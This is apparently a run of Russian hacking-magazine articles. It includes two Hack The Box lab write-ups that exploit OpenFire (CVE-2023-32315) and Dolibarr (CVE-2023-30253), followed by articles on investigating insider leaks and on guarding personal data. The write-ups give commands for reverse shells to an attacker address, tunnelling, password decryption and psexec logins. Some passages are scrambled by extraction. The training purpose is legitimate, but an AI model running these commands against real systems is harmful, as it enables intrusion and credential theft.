.\chisel.exe client 10.10.16.14:8888 R:9090:127.0.0.1:9090 R:9091:
127.0.0.1:9091

Логи сервера chisel

Теперь весь трафик с локальных портов 9000 и 9001 будет перенаправляться
на порты 9000 и 9001 удаленной машины. На сервере работает OpenFire вер‐
сии 7.4.7.

Форма авторизации OpenFire

Снова поищем готовые эксплоиты для найденного нами приложения.

Поиск эксплоитов в Google

И снова по  первой же ссылке в  Google  для  уязвимости
CVE-2023-32315. Эта уязвимость в  консоли администрирования позволяет
атакующему создать своего пользователя с ролью администратора OpenFire.

получаем эксплоит

python3 CVE-2023-32315.py -t http://127.0.0.1:9090


Эксплуатация уязвимости

С созданным пользователем успешно авторизуемся в сервисе.

Главная страница OpenFire

Имея права администратора в  OpenFire, мы можем установить в  сервисе
свой модуль с  шеллом. Для  этого переходим в  раздел Plugins и  загружаем
модуль из того же репозитория.

Установка своего плагина

Затем переходим к  консоли установленного плагина через меню Server →
Server Settings → Management Tool и указываем пароль 123.

Выбор модуля

Консоль модуля

Результат выполнения команды whoami /all

Открываем листенер и в консоли OpenFire выполняем реверс‑шелл.

Сессия пользователя OpenFire

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

У нас есть сессия в контексте OpenFire, проверим конфиги и логи в каталоге
embedded-db.

Содержимое каталогов OpenFire

В файле  находим зашифрованные данные пользователя

Administrator, а чуть дальше по логам — и ключ шифрования .

openfire.script
passwordKey

Содержимое файла openfire.script

Беглый поиск в  Google вывел меня на 
. Сначала компилируем файл .java, затем запускаем собранную ути‐

литу и передаем ей зашифрованную строку и ключ.

скрипт для  расшифровки данных
OpenFire

javac OpenFireDecryptPass.java

java OpenFireDecryptPass 
becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a940
16d57ac62d4e89b2856b0289b365f3069802e59d442 
hGXiFzsKaAeYLjn


Расшифрованные данные

Получаем пароль администратора и  валидируем его для  административной
учетной записи.

 nxc smb 10.10.11.16 -u Administrator -p 'ThisPasswordShouldDo!@'

Проверка учетных данных

Таким образом, у  нас есть учетные данные администратора. Получаем сес‐
сию через psexec и читаем флаг рута.

psexec.py ./Administrator:'ThisPasswordShouldDo!@'@10.10.11.16


Флаг рута

Машина захвачена!

https://github.com/jpillora/chisel
https://github.com/miko550/CVE-2023-32315
https://github.com/c0rdis/openfire_decrypt
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ВЗЛОМ

Сегодня мы с  тобой повысим привилегии
в  Linux, используя необычный баг  —
в  довольно редко встречающейся оконной
среде Enlightenment. А  чтобы попасть
на сервер, нам понадобится проэксплуати‐
ровать RCE-уязвимость в  CRM/ERP-сис‐
теме Dolibarr.

Наша цель  — получение прав суперпользователя на  машине BoardLight
с учебной площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.11     boardlight.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

По результатам сканирования имеем всего два открытых порта:
22 — служба OpenSSH 8.2p1;•
80 — веб‑сервер Apache 2.4.41.•

Как обычно в таких ситуациях, сразу просматриваем, что же интересного есть
на сайте.

Главная страница сайта

ТОЧКА ВХОДА

Внимательно просматривая сайт, находим только почтовый адрес
, который раскрывает нам реальное доменное имя.info@board.htb

Главная страница сайта

Раз нашли новое доменное имя, обновляем содержимое файла ./etc/hosts

10.10.11.11 boardlight.htb board.htb


Для дальнейшего продвижения будет полезно просканировать каталоги.
Возьмем для этого feroxbuster.

Справка: сканирование веба c feroxbuster
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде ,  или  . Я предпочитаю

.
dirsearch DIRB ffuf

feroxbuster
При запуске указываем следующие параметры:

 — URL;• -u

 — словарь (я использую словари из набора );• -w SecLists
 — количество потоков;• -t

 — глубина сканирования.• -d

Задаем параметры и запускаем:

 1  128

feroxbuster -u http://board.htb/ -w directory_2.3_medium_lowercase.
txt -d -t

Результат сканирования каталогов

Результатов много, но интересных среди них нет. Так как у нас есть реальный
домен сайта, попробуем просканировать поддомены. Для  этого будем
использовать уже упомянутый ffuf.

Параметры при запуске такие:
 — словарь (также из набора );• -w SecLists
 — количество потоков;• -t

 — URL;• -u

 — HTTP-заголовок.• -H

Место перебора отмечаем словом FUZZ.
Вот что у нас выйдет:

ffuf   
 256


-u http://board.htb -H 'Host: FUZZ.board.htb' -w subdomains-
bitquark-top100000.txt -t

Результат сканирования поддоменов

Но в вывод сканера попадают все варианты из переданного списка, поэтому
необходимо установить фильтр. Фильтровать будем по  размеру страницы,
который указываем в параметре .-fs

ffuf   
 256 

-u http://board.htb -H 'Host: FUZZ.board.htb' -w subdomains-
bitquark-top100000.txt -t -fs 15949


Результат сканирования поддоменов

В итоге удалось найти еще  один поддомен, а  значит, обновляем запись
в файле , после чего можно просмотреть новый сайт через бра‐

узер.

/etc/hosts

10.10.11.11 boardlight.htb board.htb crm.board.htb


Форма авторизации crm.board.htb

Нас встречает не  какой‑то самописный сайт, а  форма авторизации CRM
Dolibarr версии 17.0.0.

ТОЧКА ОПОРЫ

Первым делом стоит проверить, есть ли для обнаруженной CMS готовые экс‐
плоиты. Сразу идем в Google.

Поиск эксплоитов в Google

Первая ссылка по запросу «Dolibarr 17.0.0 exploit» ведет на GitHub к 
для  уязвимости . Эта уязвимость позволяет аутентифици‐
рованному пользователю обойти фильтр  за счет изменения регистра,

а затем загрузить и выполнить произвольный код.

эксплоиту
CVE-2023-30253

<?php

Эксплоиту из  репозитория требуется передать в  параметрах URL и  учет‐
ные данные пользователя Dolibarr, а  также адрес и  порт листенера
для реверс‑шелла.

Меню help эксплоита

Так как  нам необходимы учетные данные, первым делом попробуем дефол‐
тные сочетания вроде . Именно эти логин и пароль дают доступ

к главной панели сервиса.

admin/admin

Главная страница Dolibarr

Запускаем листенер ( ), после чего выполняем эксплоит.pwncat-cs -lp 4321

python3 exploit.py http://crm.board.htb admin admin 10.10.16.47 4321


Эксплуатация уязвимости

Сразу же в  окне листенера получаем сессию от  имени пользователя 

.

www-
data

Сессия пользователя www-data

ПРОДВИЖЕНИЕ

Так как на сервере работает целая CRM, первым делом поищем учетные дан‐
ные, доступные пользователю . У  CRM должен быть как  минимум

доступ к базе данных. Креды от нее находим в конфиге .

www-data
conf/conf.php

Содержимое файла conf/conf.php

Находим первый пароль и проверяем, не подойдет ли он к учетным записям
в системе. Получаем список юзеров, у которых активна консоль.

bash
cat /etc/passwd | grep 

Пользователи с консолью

Пробуем пароль в  сочетании с  логином larissa, повышаем привилегии
и забираем первый флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. В выводе будет много информации, но из важной
можно отметить только наличие бита SUID у  приложений из  каталога

.enlightenment

Приложения с битом SUID

Enlightenment  — это  оконный менеджер и  минималистичный рабочий стол
для  Linux и  Unix. Нет ли для  него эксплоитов? Мы обязаны это  проверить.
Снова идем в Google.

Поиск эксплоитов в Google

В репозитории по  первой же  находим эксплоит для  опасной уяз‐
вимости , а также описание файлов, которые мы ранее наш‐
ли на хосте.

ссылке
CVE-2022-37706

Описание репозитория

Уязвимость содержится в модуле  до версии 0.25.4 и зак‐
лючается в неправильной обработке имен путей, начинающихся с подстроки

, что приводит к возможности выполнения произвольных команд. А так

как  у утилиты выставлен атрибут SUID, обычный пользователь, запускающий
этот файл на исполнение, получает повышение прав до пользователя — вла‐
дельца файла в рамках запущенного процесса. Это позволяет получить кон‐
текст безопасности .

enlightenment_sys

/dev/

root

Флаг рута

Машина захвачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists
https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30253
https://github.com/carlospolop/PEASS-ng
https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
https://nvd.nist.gov/vuln/detail/CVE-2022-37706
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ПРИВАТНОСТЬ

Считается, что крысы  — чрезвычайно
умные и смышленые существа: они способ‐
ны откликаться на собственное имя и даже
обучаться простым трюкам. Но  если крыса
завелась в  коллективе коммерческой фир‐
мы, самое время расставлять капканы:
такой сотрудник может нанести компании
значительный финансовый и  репутацион‐
ный ущерб. В  этой статье мы рассмотрим
методы поиска утечек в  корпоративной
среде и  приведем практический алгоритм
расследования подобных инцидентов  —
с наглядными примерами.

Чаще всего организации сталкиваются с  утечками конфиденциальной
информации уже по факту случившегося, когда база клиентов, поставщиков,
заказчиков или  внутренние документы внезапно обнаруживаются в  пуб‐
личном доступе. Кажется, что отыскать в этом случае того, кто устроил слив,
практически невозможно, а еще сложнее — доказать его причастность к про‐
изошедшему.

INFO

Статья написана по  материалам интервью
с  Дмитрием Борощуком. Беседовал и  готовил
финальный текст Валентин Холмогоров.

 уже больше пятнадцати лет занимается сложными воп‐
росами, связанными с  безопасностью бизнеса, прежде всего  — информа‐
ционной. И  расследование утечек информации, а  также поиск виновников
этих утечек  — одна из  практических задач, с  которыми Дмитрий регулярно
сталкивается на  своем личном опыте. Сложности таким расследованиям
обычно добавляет и то, что в небольших организациях, как правило, все сот‐
рудники имеют доступ практически к любой служебной информации, поэтому
выяснить, кто именно слил тот или  иной важный документ в  паблик, весьма
непросто. Но непросто — не значит невозможно.

Дмитрий Борощук

В первую очередь следует установить по  характерным признакам, была
утечка результатом деятельности инсайдеров или  все‑таки внешней атаки:
возможно, в сеть предприятия вломились злые хакеры, и тогда искать злодея
внутри коллектива не  имеет ни  малейшего смысла. Если же все‑таки здесь
постарался кто‑то из своих, для начала нужно выяснить, кто мог иметь доступ
к  утекшему документу или  базе данных (по умолчанию  — все сотрудники)
и  кто из  этих людей имел возможность скопировать ценную информацию.
Затем нужно максимально сузить круг подозреваемых. Для этого использует‐
ся ряд специальных приемов и методов, которые Дмитрий Борощук и его кол‐
леги активно используют в своих расследованиях.

ИССЛЕДУЕМ УТЕЧКУ

Поскольку связанные с  утечками инциденты расследуются обычно постфак‐
тум, например когда база клиентов уже вовсю продается на  черном рынке,
прежде всего нужно изучить, в  каком виде эта информация попала в  пуб‐
личное поле. Это  поможет, во‑первых, определить место первоначального
размещения файлов, а  во‑вторых, идентифицировать потенциального
выгодоприобретателя. Здесь необходимо исследовать канал распростра‐
нения информации, а именно:

место публикации утечки;•
дату и время публикации;•
кто разместил данные;•
кошелек или реквизиты для оплаты (если файлы распространяются плат‐
но).

•

Тут нужно учитывать то обстоятельство, что между датой утечки и  моментом
появления этих файлов в  публичном доступе может пройти достаточно про‐
должительное время. Например, слитые данные могли попытаться продать,
но  не нашли покупателя, после чего выложили их в  паблик. Либо наоборот,
нашли, покупатель попользовался этой информацией какое‑то время
и  выложил ее в  сеть, когда она сделалась для  него неактуальной. В  любом
случае место и  дата публикации дадут исследователю привязку к  моменту,
когда эта информация стала доступной, как  говорят криминалисты, «неоп‐
ределенному кругу лиц».

Аватарка и ник распространителя файлов тоже могут служить важным мар‐
кером: по  ним можно попытаться обнаружить того же человека на  разных
площадках в  интернете, в  мессенджерах и  социальных сетях. Все эти све‐
дения обезличены, но  в совокупности они становятся очень полезным
набором сквозных маркеров.

INFO

  — это  косвенный признак,
совокупность которых позволяет идентифици‐
ровать человека и  привязать учетные записи
в интернете к его личности.

Сквозной маркер

Дмитрий Борощук вспоминал случай из практики: у подозреваемого в качес‐
тве аватарки использовалась явно уникальная, а не «стоковая» фотография,
на которой был запечатлен со спины человек, сидящий на капитанском месте
в рубке корабля. Простой поиск по картинке в Google и «Яндексе» позволил
отыскать эту же картинку на личной страничке в одной из социальных сетей.
Еще один чрезвычайно полезный сквозной маркер — номера банковских карт
и  электронных кошельков: аналогичный способ получения денег может
использоваться подозреваемым не  только в  этом, но  и в  других каналах.
И дать расследователю ценную зацепку. То же самое касается ников и адре‐
сов электронной почты — они могут встречаться в сообщениях на площадках,
где опубликованы слитые данные.

Важным сквозным маркером служит также сам текст объявления: в  нем
могут попадаться характерные языковые обороты или словосочетания, типич‐
ные орфографические и  синтаксические ошибки. Да  и весь текст целиком
имеет смысл поискать в «Яндексе» с «Гуглом», хотя бы с целью выяснить, где
еще его могли опубликовать.

ИЗУЧАЕМ ФАЙЛЫ

Продолжаем обогащать нашу коллекцию артефактов, которые помогут нам
в расследовании. Следующий шаг — изучение самого файла, в который упа‐
кована утечка. Здесь нам пригодятся:

имя и расширение файла;•
формат файла;•
метаданные, обнаруженные в файле;•
даты создания и изменения;•
хеш‑сумма файла.•

Во‑первых, эти сведения позволят нам понять, каким способом файл был
получен: экспортирован из CRM или базы данных либо, скажем, просто ско‐
пирован из файлообменника. То есть установить способ кражи. Разные при‐
ложения и  бизнес‑системы предлагают разные инструменты выгрузки дан‐
ных, и  по характерным признакам можно попытаться выяснить, какие из  них
использовал злоумышленник.

Поиск в интернете, даркнете и «Телеграме» по имени файла даст понима‐
ние, насколько широко «расползлась» утечка в сети и на какие именно пло‐
щадки выкладывал злоумышленник этот файл. Но  одной из  самых ценных
зацепок могут стать хранящиеся в файле метаданные. Казалось бы, похитив
интересующую информацию, злоумышленники в  первую очередь должны
воспользоваться специальным софтом, удаляющим из  файлов все служеб‐
ные данные. На практике же это происходит далеко не всегда.

Однажды к Дмитрию Борощуку обратились представители торговой фир‐
мы, столкнувшейся с  весьма нестандартным случаем мошенничества. Эта
компания занималась поставками сельхозпродукции из зарубежных стран, и,
когда в России начались проблемы с трансграничными платежами из‑за меж‐
дународных санкций, ситуацией решили воспользоваться злоумышленники.
Они зарегистрировали домен, отличавшийся от оригинального домена ком‐
пании двумя переставленными местами символами, и  завели на  нем поч‐
товые ящики, адреса которых были идентичны тем, что использовались нас‐
тоящей компанией. При переписке с контрагентами в этой фирме было при‐
нято добавлять в  копию сразу нескольких менеджеров и  руководителей.
Мошенники подменили в этом списке получателей сначала один адрес, затем
другой и  через какое‑то время перевели всю переписку на  домен‑дублер.
После этого они сообщили контрагентам, что из‑за санкций у продавца изме‐
нились реквизиты для оплаты. Разумеется, банковские счета, на которые ста‐
ли приходить деньги от  покупателей, принадлежали жуликам. Провернуть
такую хитрую схему мог только инсайдер, который точно знал внутреннюю
кухню компании.

Выставляемые покупателям «липовые» счета в  формате PDF были сде‐
ланы на  основе настоящих файлов, которые использовала торговая ком‐
пания. Вот в  них‑то и  сохранились метаданные, выдавшие информацию и  о
самом злоумышленнике, вносившем изменения в  исходный PDF, и  о его
компьютере, и  о софте. Мошенником оказался бывший менеджер фирмы,
уволившийся оттуда незадолго до описываемого инцидента. Конечно, утечку
может организовать умный и  опытный злодей, который уничтожит или  под‐
менит служебную информацию в  файлах, и  тогда его след потеряется.
Но иногда исследователям везет.

Наконец, анализ дат создания и изменения файла позволит понять, когда
именно он был выгружен и когда злоумышленник в последний раз открывал
его на  редактирование,  — это  даст косвенную информацию о  временном
диапазоне, в пределах которого произошла утечка. Ну а хеш позволит срав‐
нить утекший файл с исходным и определить, изменялся ли он вообще.

ИЗУЧАЕМ СОДЕРЖИМОЕ ФАЙЛА

Настало время заглянуть в сам файл и изучить его содержимое, а именно:
используемые поля;•
формат их записи;•
полноту присутствующих полей;•
дату и время первой записи;•
дату и время последней записи.•

Большинство CRM, из которых чаще всего и крадут инсайдерскую информа‐
цию, выдают немного отличающуюся информацию сотрудникам с  разным
уровнем доступа. Например, у  персонала из  отдела продаж в  базе могут
не отображаться одни поля, а у сотрудников юридического отдела — другие.
У  старших менеджеров и  стажеров в  выгрузке будет разный набор полей.
Скажем, кому‑то доступно полное «досье» на  клиента, включая его номер
телефона, объем и  номенклатуру предыдущих заказов и  имя домашнего
питомца, кому‑то — только контактный адрес электронной почты.

Анализ утекшего файла поможет сузить круг подозреваемых до  опре‐
деленной группы внутренних пользователей системы. Ну а дата первой и пос‐
ледней записи подскажет актуальность похищенных данных, то есть фак‐
тически дату, когда они были слиты. Это — отправная точка, с которой можно
начинать внутреннее расследование, особенно если датировка записей сов‐
падает с датами создания и изменения слитого в паблик файла. Таким обра‐
зом исследователь собирает информацию о  «срезе» данных, их полноте и,
возможно, времени получения. На  этом этапе исследователь старается
понять, когда фактически произошла утечка и  кто гипотетически мог иметь
доступ к этой информации, исходя из формата записей.

Нередко удается выяснить, что утечка представляет собой компиляцию
данных из  разных источников, часть которых могла находиться в  свободном
доступе и  раньше. Иными словами, нужно провести верификацию, то есть
проверить однородность утекших данных, что как  раз и  позволяет выявить
утечки, собранные из нескольких источников.

ИССЛЕДУЕМ ЛЕГИТИМНЫЙ ИСТОЧНИК ДАННЫХ

Необходимо изучить саму систему, из  которой были выгружены данные,
со следующими точками интереса:

основной формат хранения данных;•
возможные форматы получения данных при  различных условиях их
копирования (бэкап, экспорт, парсинг и так далее).

•

Это позволит определить возможный способ и  форму полученной утечки.
После этого необходимо внимательно изучить систему, из  которой могла
произойти утечка данных, и выявить следующие факторы:

перечень уровней доступа и ролей пользователей в системе;•
перечень доступных полей для каждого уровня доступа;•
перечень пользователей с  доступом к  утекшим данных (как активных, так
и имевших доступ на момент утечки).

•

Цель этих действий  — фиксация потенциально причастных учетных записей
пользователей и  способов доступа к  данным, которые могут находиться
в «срезе» опубликованной в интернете утечки.

Теперь необходимо определить временные рамки поискового ландшафта,
исходя из полноты данных, представленных в утечке.

INFO

  —
это  отрезок времени, на  протяжении которого
произошла утечка данных и их размещение в пуб‐
личном доступе.

Временные рамки поискового ландшафта

Как правило, отсчет ведется в обратном порядке от момента первичного раз‐
мещения похищенных файлов в  публичном доступе до  (примерно)
минус  60  суток от  даты последних внесенных данных в  «срезе» утекшей
информации. На текущем этапе имеет смысл проанализировать:

логи доступа к целевым данным пользователей;•
логи изменений в целевом источнике данных.•

Это позволит реконструировать историю обращений к  источнику целевых
данных пользователей системы и сузить круг подозреваемых до одного‑двух
человек.

КАКИЕ ВАШИ ДОКАЗАТЕЛЬСТВА?

После выявления потенциальных подозреваемых используются стандартные
методы криминалистики, а именно исследуются журналы операционной сис‐
темы рабочего компьютера сотрудника. Наша задача  — проанализировать
все операции, которые происходили с  файлами на  протяжении временных
рамок поискового ландшафта. Таким образом исследователь сможет понять,
взаимодействовал ли пользователь с интересующим его объектом.

Предположим, ты уже практически стопроцентно нашел злодея у  себя
в  компании, но  тебе нужно собрать какие‑то доказательства его вины.
При  этом никаких систем DLP, SIEM или  иных заранее настроенных инстру‐
ментов в  твоем распоряжении нет, потому что «это дорого и  вряд ли ког‐
да‑либо понадобится!». Имеется только доступ к служебным ноутбуку и смар‐
тфону предполагаемого злоумышленника. Что же делать руководителю служ‐
бы безопасности, когда кажется, что корпоративный шпион уже почти разоб‐
лачен, и остается только подтвердить это фактами?

WARNING

Тут стоит сделать маленькую ремарку. Как  пра‐
вило, все описанные ниже действия предназна‐
чены для внутренних расследований и в судебных
разбирательствах не  используются, поскольку
в  судебной криминалистике недопустимы. Если
ты всерьез планируешь довести дело до  суда
или не уверен в том, что делаешь, то лучше сразу
обратиться к  специалистам, советует Дмитрий
Борощук.

Собери все носители информации и электронику, которая располагалась
на  рабочем месте предполагаемого злодея. Флешки, внешние жесткие
диски, ноутбуки, компьютеры, планшеты и телефоны. Конечно же, при этом
нужно находиться в рамках правового поля — это имущество должно быть
выдано компанией «под подпись» сотрудника и  являться ее собствен‐
ностью.

•

Посмотри, нет ли на  рабочем месте записок, блокнотов и  всяких бумаг,
на  которых могут содержаться не  только повседневные рабочие записи,
но и что‑то относящееся к делу.

•

Сделай выгрузку из системы СКУД о присутствии сотрудника на рабочем
месте в  предполагаемый временной отрезок произошедшего инцидента
(если доступ к  утекшим данным был открыт только из  физического
периметра компании).

•

Сделай выгрузку из  системы видеонаблюдения за  временной отрезок
предполагаемого инцидента (плюс‑минус  15  дней). Хоть это  и может
казаться архаичным, но, как  показывает практика, часто это  становится
хорошим подспорьем в расследовании.

•

Заблокируй доступ извне к исследуемой электронике — ни в коем случае
не  давай возможности устройствам подключиться к  интернету, чтобы
у  предполагаемого злоумышленника не  осталось шанса удаленно унич‐
тожить следы своей деятельности.

•

Затем следует создать копию носителя информации исследуемого устрой‐
ства для  дальнейшего изучения. Этот шаг необходим для  того, чтобы
при  работе с  девайсом мы случайно не  испортили или  не уничтожили
по неосторожности важные артефакты и в случае необходимости могли вос‐
становить из копии ранее удаленные файлы. Сделать это можно при помощи
бесплатного инструмента , который представляет собой образ заг‐
рузочной флешки. Кстати, для  создания самой загрузочной флешки можно
использовать . И  обрати внимание, что внешний носитель, который ты
будешь использовать для  сохранения копии, должен иметь больший объем,
чем тот, с которого ты эту копию снимаешь.

OSFСlone

Rufus

Ну а о том, как исследовать образы дисков на предмет поиска улик и арте‐
фактов, «Хакер» уже неоднократно   — здесь тебе поможет опуб‐
ликованный нами цикл статей о форензике.

писал

ВЫВОДЫ

В ходе расследования внутренних утечек специалисты часто применяют так
называемый «метод компонентных данных». В  рамках этого метода иссле‐
дуются три вида сущностей:

объект;•
действие;•
канал коммуникации.•

Объектом может быть что угодно, вернее, фактически все, что относится
к  делу и  что можно обозначить существительным: сотрудник, файл, компь‐
ютер, адрес email, ник, сервер, учетная запись, ноутбук, смартфон и  так
далее. Объекты взаимодействуют между собой: например, объект «база дан‐
ных» может иметь связь с объектом «учетная запись», и исследователь в сос‐
тоянии составить список действий, относящихся к этим двум объектам. Ска‐
жем, сотрудник, подключаясь к  базе данных под  своей учетной записью,
получает доступ к  определенным данным, которые затем перемещает
на внешний носитель.

И третье, что необходимо зафиксировать в  ходе расследования,  —
это  канал коммуникации: буквально через какую среду объекты взаимодей‐
ствуют друг с  другом. Это, например, может быть внутренняя проводная
или  беспроводная сеть предприятия или  интернет. Выстроив такую под‐
робную цепочку объектов, их действий и  связанных с  ними событий, иссле‐
дователь определяет, к  каким звеньям этой цепи он может получить доступ
и какие ее элементы могут оставлять логи. Это касается не только артефактов
в  операционной системе, но  и реального, физического мира. Дмитрий
Борощук приводит такой пример: если нужно определить, мог ли сотрудник
в  какой‑то день скопировать файл на  флешку, находясь на  своем рабочем
месте, можно просмотреть записи офисной системы видеонаблюдения. Если
в  компании используется система контроля доступа, можно выяснить, прик‐
ладывал ли сотрудник карточку‑пропуск, чтобы войти в  помещение.
Это  поможет выяснить, присутствовал ли физически человек на  своем
рабочем месте в  тот день или  кто‑то другой воспользовался его компьюте‐
ром и учетной записью.

Собранные компонентные данные раскладываются по  временной линии,
в результате чего исследователь получает полную и наглядную картину инци‐
дента. Таким образом реконструируется цепочка событий, которая и  при‐
водит к разоблачению злоумышленника.

Приведенные выше примеры показывают, что информационная безопас‐
ность  — это  история не  только про  изучение логов и  анализ файлов, но  и
про  события, происходящие в  реальном мире. А  реальный мир порой под‐
брасывает не меньше сюрпризов, чем «виртуальный» мир компьютерных тех‐
нологий.
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ПРИВАТНОСТЬ

Если ты не нашел свои паспортные данные,
адреса электронной почты, домашний
адрес и  номер телефона в  слитых базах
данных и  телеграм‑ботах  — значит, плохо
искал. Уберечься от  попадания твоей пер‐
сональной информации в  публичное прос‐
транство крайне непросто. Сегодня мы
поговорим о  том, что делать, если ты стал
жертвой такого слива.

INFO

Читай также «
».

Тотальное отключение. Как  грамот‐
но закрыть счета и расстаться с банком

Когда твои личные данные внезапно становятся доступными для всего мира,
можно почувствовать себя в роли главного героя какого‑нибудь голливудско‐
го триллера. Поменять имя и  адрес? Сменить номер телефона и  паспорт?
Способы определенно действенные, но у нас есть идеи получше. Ведь утечка
личной информации  — это  не конец света, а  просто начало нового прик‐
лючения. Важно лишь знать, как действовать в подобном случае.

Как известно, коварные хакеры не  дремлют и  взламывают всё, что
попадется им под руку. А попасться им под руку могут базы данных:

служб доставки;•
сервисов такси;•
онлайн‑магазинов;•
любых прочих ресурсов, на  которых ты можешь оставить информацию
о себе.

•

Базы данных самых разных сервисов могут быть похищены и  оказаться
у нехороших людей или вообще в открытом доступе. После того как их объ‐
единят в одну и проведут с ними некоторые корреляции, практически вся твоя
жизнь будет как  на ладони  — любому желающему станут известны адреса
и  даты, когда ты пользовался такси, куда заказывал гамбургеры или  туалет‐
ную бумагу, в  каких сервисах регистрировался, какие запчасти покупаешь
для своего автомобиля и так далее. Давай подумаем, что можно сделать, что‐
бы снизить эффект утечек и обезопасить себя.

ОПРЕДЕЛЯЕМ ЗОНУ ПОРАЖЕНИЯ

Откуда берутся персональные данные в утечках? Очевидно, что в современ‐
ном мире все это хранится в электронных базах — СНИЛС, адреса регистра‐
ции, паспортные и налоговые данные, номера банковских карт. Место твоего
фактического проживания перестает быть секретом благодаря утечкам
из  служб доставки. Короче, если существует электронная БД, то, как  и всё
в этом мире, она может быть похищена хакерами и выставлена на продажу.

Очевидно, что намного проще взломать интернет‑магазин или  службу
доставки, чем банк или государственную структуру. Следовательно, наломав
достаточное количество более‑менее популярных магазинов или  сервисов,
можно получить большой объем персональных данных миллионов людей. Эту
информацию и используют мошенники в своих неблаговидных целях.

Давай прикинем, какие данные запрашивают магазины, службы доставки
или такси. Обычно это:

телефон;•
адрес доставки;•
ФИО;•
дата рождения;•
электронная почта;•
платежная информация.•

INFO

Главное оружие мошенников всех мастей, поз‐
воляющее им убедительно звучать в телефоне, —
это информация о тебе. И в 90% случаев это ору‐
жие им в руки любезно предоставил ты сам!

И это  только «безобидные» сервисы  — например, если злоумышленники
доберутся до электронных систем крупнейших сетевых отелей, то в руки к ним
попадут уже твои паспортные данные, как  и паспортные данные всех тех
людей, которые были с  тобой в  этом заведении. Представляешь, каким
это может стать подарком для мошенников, кардеров, да и вообще жуликов
всех мастей? А если взломают медицинскую организацию?

НЕ НАРУШАЙ ЗАКОН

Не забывай, что гражданин любого государства должен неукоснительно сле‐
довать его законам. Законодательством регулируются многие области
человеческой деятельности, в том числе использование псевдонимов.

INFO

Если верить Википедии, псевдоним  —
это  вымышленное имя (фамилия), которое
человек использует в  публичной деятельности
вместо настоящего (данного при  рождении,
зафиксированного в  официальных документах).
В  контексте этой статьи я употребляю слово
«псевдоним» для  обозначения вымышленных
анкетных данных.

Что касается Российской Федерации, то, например, использование псев‐
донимов, то есть вымышленного имени, законно, если псевдоним не украден
у  кого‑то другого. Иными словами, любой гражданин нашей страны может
на  совершенно законных основаниях выбрать для  себя никем не  занятый
псевдоним, хотя при  этом называть себя, например, Виктором Олеговичем
Пелевиным или Крисом Касперски не имеет права.

Но есть и  ограничения. Недопустимо приобретать и  осуществлять права
и  обязанности, используя псевдоним. То есть нельзя, например, под  псев‐
донимом приобрести автомобиль или иное требующее регистрации имущес‐
тво, оформить страховой полис или  купить билет на  самолет. Более под‐
робно читай в ГК РФ, .статья 19

Также законом строго запрещено где бы то ни было использовать чужие
персональные данные без  согласия гражданина. Тут нужно понимать, что
твои личные, выдуманные тобой псевдонимы и  чужие персональные данные
с позиции закона две большие разницы. Например, фамилию, имя, отчество,
дату рождения, адрес регистрации, вообще другие сведения, прямо или кос‐
венно относящиеся к  определенному человеку, использовать без  его пись‐
менного согласия категорически запрещено. Подобную информацию
защищает федеральный закон « » от  27.07.2006 №
152-ФЗ. Использование фотографий реального человека также запрещает
ГК РФ ( ).

О персональных данных

статья 152.1
То же самое касается и  правил использования различных сервисов  —

читай эти правила и не нарушай их.

ГОТОВИМСЯ К ВОЗМОЖНЫМ УТЕЧКАМ ЗАРАНЕЕ

На самом деле к  тому, что твои личные данные могут попасть в  паблик
без  твоего ведома, необходимо готовиться заранее. При  регистрации
на сайтах старайся всегда указывать разные адреса электронной почты и по
возможности используй разные номера телефонов, например там, где номер
нужен только для  регистрации, а  по факту на  него никто никогда не  звонит.
Тут пригодятся многочисленные сервисы, предоставляющие «одноразовые»
телефонные номера именно на случай регистрации аккаунтов. Однако помни,
что ты не  сможешь восстановить забытый пароль с  помощью одноразового
кода, присланного в SMS, если регистрировал этот аккаунт на арендованный
телефонный номер.

Имей в  виду, что даже если ты при  регистрации на  каждом сервисе
использовал разные псевдонимы, зарегал вагон и  маленькую тележку поч‐
товых ящиков, но телефон был всегда одинаковый, то он и станет твоим уни‐
кальным идентификатором, по которому тебя могут выследить, а потом объ‐
единить остальные данные. Та же история с электронной почтой: часто быва‐
ет, что для  регистрации на  сайтах и  сервисах используется не  основной
